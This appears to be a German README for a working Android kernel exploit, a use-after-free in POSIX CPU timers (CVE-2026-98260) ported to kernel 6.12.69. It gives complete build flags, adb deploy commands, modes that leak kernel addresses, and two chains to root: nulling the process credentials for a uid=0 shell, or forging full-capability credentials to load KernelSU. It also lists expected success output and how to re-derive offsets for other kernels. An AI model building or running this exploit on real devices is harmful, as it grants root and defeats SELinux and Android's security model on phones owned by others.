
Android-Kernel-POSIX-CPU-Timer-Use-after-free-Exploit für 6.12.69, der eine uid=0-Shell oder ein KernelSU-Late-Load über gefälschte Credentials erreicht.
CVE-2026-98260 POSIX CPU-Timer-UAF-Portierung für 6.12.69-android16-6-g242e1a07f878
Zwei Ketten:
timer: echte cred null geschrieben → uid=0, u:r:shell:s0 (shell-Domain root, bset caps)timer fake: fake cred (full caps) → installierte KernelSU libksud.so late-load| Pfad | Ergebnis |
|---|---|
real cred null geschrieben + setuid(0) + exec sh | uid=0, u:r:shell:s0, ROOT_SHELL_OK |
fake cred + ksud late-load | installierte libksud.so (uapi 6), KSU_LOADED, su ist u:r:ksu:s0 |
u:r:shell:s0), kann tracefs und /proc/slabinfo lesenme.weishu.kernelsu), verwendet fake automatisch dessen lib/arm64/libksud.soNDK 28.2 (aarch64, API 35):
cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# Diagnose
adb shell /data/local/tmp/timer ids # tracefs page event id ermitteln
adb shell /data/local/tmp/timer leak # nur base/cred/task leaken, UAF nicht auslösen
# uid-0 shell (echte cred)
adb shell /data/local/tmp/timer # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell # interaktive sh
# KernelSU (fake cred + installiertes ksud)
adb shell 'cd /data/local/tmp && setsid ./timer fake >timer.log 2>&1 </dev/null &'
adb shell cat /data/local/tmp/timer.log
Erfolgsanzeichen von fake:
[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id # uid=0 ... context=u:r:ksu:s0
fake parkt auch der Elternprozess und hält die fake-cred-Seite über einen Sockettimeout/kill auf geparkte Prozesse anwenden, sonst kann das Recyceln des stale node durch init zu einem Panic führentimer/timer.c Exploit
timer/timer statisches Artefakt
tools/*.c Quellcode der Portierungsdiagnose
Schlüsselkonstanten sind in timer/timer.c fest verdrahtet: do_timer_create/copy_process-Stellen, selinux_state, panic_on_warn, Größe des copy_process-Task-Cache, init_*-Symbole
Beim Kernelwechsel mit boot.img/BTF/kallsyms des Geräts neu ableiten; die Dateien unter tools/ dienen zur Überprüfung von call site, raw record, timer-Leak und 8 KiB AF_UNIX-Recycling-Kanal
woshigenm/CVE-2026-98260 (MIT): Trigger, Zero-Write bei real-cred, fake-cred/KSU-Ansatzghostlock-app: letzte Phase des KernelSU-Late-Load